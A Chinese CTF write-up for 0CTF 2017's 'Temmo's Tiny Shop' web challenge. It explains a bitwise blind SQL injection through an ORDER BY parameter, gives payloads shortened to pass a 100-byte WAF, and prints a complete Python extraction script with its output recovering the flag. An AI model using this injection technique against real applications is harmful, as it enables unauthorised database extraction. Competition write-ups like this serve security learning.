0CTF 2017 部分Web的某些不一样的思路

洒家参加了0CTF 2017,做了一些题目。赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路。

一些不错的Writeup

https://ctftime.org/event/402/tasks/
http://www.melodia.pw/?p=889
http://lorexxar.cn/2017/03/21/0ctf2017-web/

Temmo’s Tiny Shop

洒家看网上的Writeup 在拿到Hint,知道flag的表名后爆破flag的每一字节,效率可能比较低。这里是洒家比赛的时候想到的按bit爆破的方法,对于ASCII,只考虑7bit,每字节固定需要7次请求即可得到。

需要购买Erwin Schrodinger‘s Cat和Brownie。

一开始的Payload是:

case(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2))when(1)then(name)else(price)end

由于长度限制(WAF,最长100字节),修改Payload:

if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,price)

由于长度还是太长,把Price改成3也可以排序。

if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,3)

注:此处的3并不是按第3列排序,即和order by 3 作用不同,而是和 order by ‘3‘ 作用相同,和不加order by 效果相同(不知道是MySQL什么特性)

由此,最终的脚本是:

import requests
# code from https://www.cnblogs.com/go2bed/p/6607565.html
s = requests.Session()
cookie = {‘PHPSESSID‘:‘YOURCOOKIE‘} # add your cookie
url = ‘http://202.120.7.197/app.php‘

true_str = ‘"goods":[{"id":"5"‘
false_str = ‘"goods":[{"id":"2"‘
order_by_template = ‘if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1))div(%d)mod(2),name,3)‘

flag = ‘‘
for place_index in xrange(1, 1000):
    place_bin = ‘‘
    for times in xrange(6,-1,-1):
        num = 2 ** times
        order_by = order_by_template % (place_index, num)
        params = {‘action‘:‘search‘,‘keyword‘:‘‘,‘order‘:order_by}
        r = s.get(url, params=params, cookies=cookie)
        #print r.content
        if true_str in r.content:
            new_place_bin = ‘1‘
        else:
            new_place_bin = ‘0‘
        print new_place_bin,
        place_bin += new_place_bin

    place = chr(int(place_bin, 2))
    flag += place
    print flag

    if ‘}‘ in flag:
        break

print ‘\n***** get flag *****‘
print flag

运行效果:

1 1 0 0 1 1 0 f
1 1 0 1 1 0 0 fl
1 1 0 0 0 0 1 fla
1 1 0 0 1 1 1 flag
1 1 1 1 0 1 1 flag{
1 1 1 0 0 1 0 flag{r
0 1 1 0 1 0 0 flag{r4
1 1 0 0 0 1 1 flag{r4c
1 1 0 0 1 0 1 flag{r4ce
1 0 1 1 1 1 1 flag{r4ce_
1 1 0 0 0 1 1 flag{r4ce_c
0 1 1 0 0 0 0 flag{r4ce_c0
1 1 0 1 1 1 0 flag{r4ce_c0n
1 1 0 0 1 0 0 flag{r4ce_c0nd
1 1 0 1 0 0 1 flag{r4ce_c0ndi
1 1 1 0 1 0 0 flag{r4ce_c0ndit
1 1 0 1 0 0 1 flag{r4ce_c0nditi
0 1 1 0 0 0 0 flag{r4ce_c0nditi0
1 1 0 1 1 1 0 flag{r4ce_c0nditi0n
1 0 1 1 1 1 1 flag{r4ce_c0nditi0n_
1 1 0 1 0 0 1 flag{r4ce_c0nditi0n_i
0 1 1 0 1 0 1 flag{r4ce_c0nditi0n_i5
1 0 1 1 1 1 1 flag{r4ce_c0nditi0n_i5_
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_e
1 1 1 1 0 0 0 flag{r4ce_c0nditi0n_i5_ex
1 1 0 0 0 1 1 flag{r4ce_c0nditi0n_i5_exc
1 1 0 1 0 0 1 flag{r4ce_c0nditi0n_i5_exci
1 1 1 0 1 0 0 flag{r4ce_c0nditi0n_i5_excit
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_excite
1 1 0 0 1 0 0 flag{r4ce_c0nditi0n_i5_excited
1 1 1 1 1 0 1 flag{r4ce_c0nditi0n_i5_excited}

***** get flag *****
flag{r4ce_c0nditi0n_i5_excited}
时间: 2024-10-24 19:17:36

0CTF 2017 部分Web的某些不一样的思路的相关文章

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

2017年-Web前端面试题(HTML至Nodejs)

[原]2017年-Web前端面试题(HTML → Nodejs)   出自作者小矮人Web前端,博文地址:http://www.cnblogs.com/itlkNote/  文中有少许重复问题! 第一阶段 HTML.CSS.HTML5.CSS3 1.XHTML与HTML的有何异同? 2.介绍一下CSS的盒子模型?弹性盒子模型是什么? 3.Doctype的作用?标准模式与兼容模式各有什么区别? 4.HTML5 为什么只需要写 <!DOCTYPE HTML>? 5.行内元素有哪些?块级元素有哪些?

2017年Web前端必火的6大流行开发趋势!

Web前端流行开发趋势 每到年底,人们总喜欢展望下一年,Web 开发领域也不例外.在 Web 开发领域,技术革新的速度堪比光速,未来总是超乎我们的想象,我们只能尽自己所能做一些合理的预测. 今天这篇文章,分享了2017年web前端的六大流行趋势,一起来一探究竟吧! 01 更加移动优先 响应式设计显然是目前 web 开发领域的主要趋势之一,并且这一趋势还将持续一段时间. 虽然现在的响应式设计大部分还是以 PC 版优先,然而,如果有一天我们把 PC 版放到比移动版次要的位置上,也没什么好奇怪的. 许

2017年-Web前端面试题(HTML至Nodejs)(转)

[原]2017年-Web前端 面试题(HTML → Nodejs)   出自作者小矮人Web前端,博文地址:http://www.cnblogs.com/itlkNote/  文中有少许重复问题! 第一阶段 HTML.CSS.HTML5.CSS3 1.XHTML与HTML的有何异同? 2.介绍一下CSS的盒子模型?弹性盒子模型是什么? 3.Doctype的作用?标准模式与兼容模式各有什么区别? 4.HTML5 为什么只需要写 <!DOCTYPE HTML>? 5.行内元素有哪些?块级元素有哪些

2017百度web前端实习生在线笔试题

代码: 1 import java.util.Scanner; 2 3 public class Main { 4 public static void main(String[] args) { 5 Scanner sc = new Scanner(System.in); 6 int n = sc.nextInt(); 7 int num[]=new int[n];//用户输入的数组 8 int b[]=new int[n];//复制num 9 int c[]=new int[n];//依次保

0ctf 2017 kernel pwn knote write up

UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_note(), but isn’t at edit_note_time(). And it doesn’t check the flag before hlist_add_behind() in insert_note(). for(;;) { /* add before a larger epoch

Python写WEB日志分析程序的一些思路

1.背景 刚到一家公司需要写一个实时分析tshark捕捉到的数据,tshark一直往文本里面写数据,写一个程序要实时获取到添加的数据并进行分析处理最后入库.此时思绪狂飞,想了一些比较挫的方法. 本人想到的方法: 1.每隔一定时间去查看下文件的mtime,如果有改动则读取数据,并记录读取的行数.下次再去读这个文件的数据则上次记录的行数开始继续读.当文件行数太大的时候这个程序的效率就很慢了,也可以记录上次读取的字节数,然后使用linux下的open系统系统中的seek从指定位置处读取.但是要是用C语

对RESTful Web API的理解与设计思路

距离上一篇关于Web API的文章(如何实现RESTful Web API的身份验证)有好些时间了,在那篇文章中提到的方法是非常简单而有效的,我在实际的项目中就这么用了,代码经过一段时间的磨合,已经很稳定了,所以我打算写篇总结,并在最近这段时间里提供一个ASP.net Web API的综合例子. 对四个HTTP方法的理解 众所周知,HTTP有四个方法,GET.POST.PUT和DELETE,分别对应数据库的SELECT.INSERT.UPDATE和DELETE,一般的教程说到这里也就Over了,

Front-End Developer Handbook 2017 前端开发人员手册2017(4)

2017年预计-- 原文:https://frontendmasters.gitbooks.io/front-end-handbook-2017/content/2017.html Web Assembly, 可能只是高峰. import 可能仅仅被用在 <scripts></scripts> 全部JavaScript解决方案会继续上升, 致敬/服务器交付前端的日子(如html对于客户). 反应性编程仍然兴盛于JavaScript的场景.(见MobX和RxJS). React,更多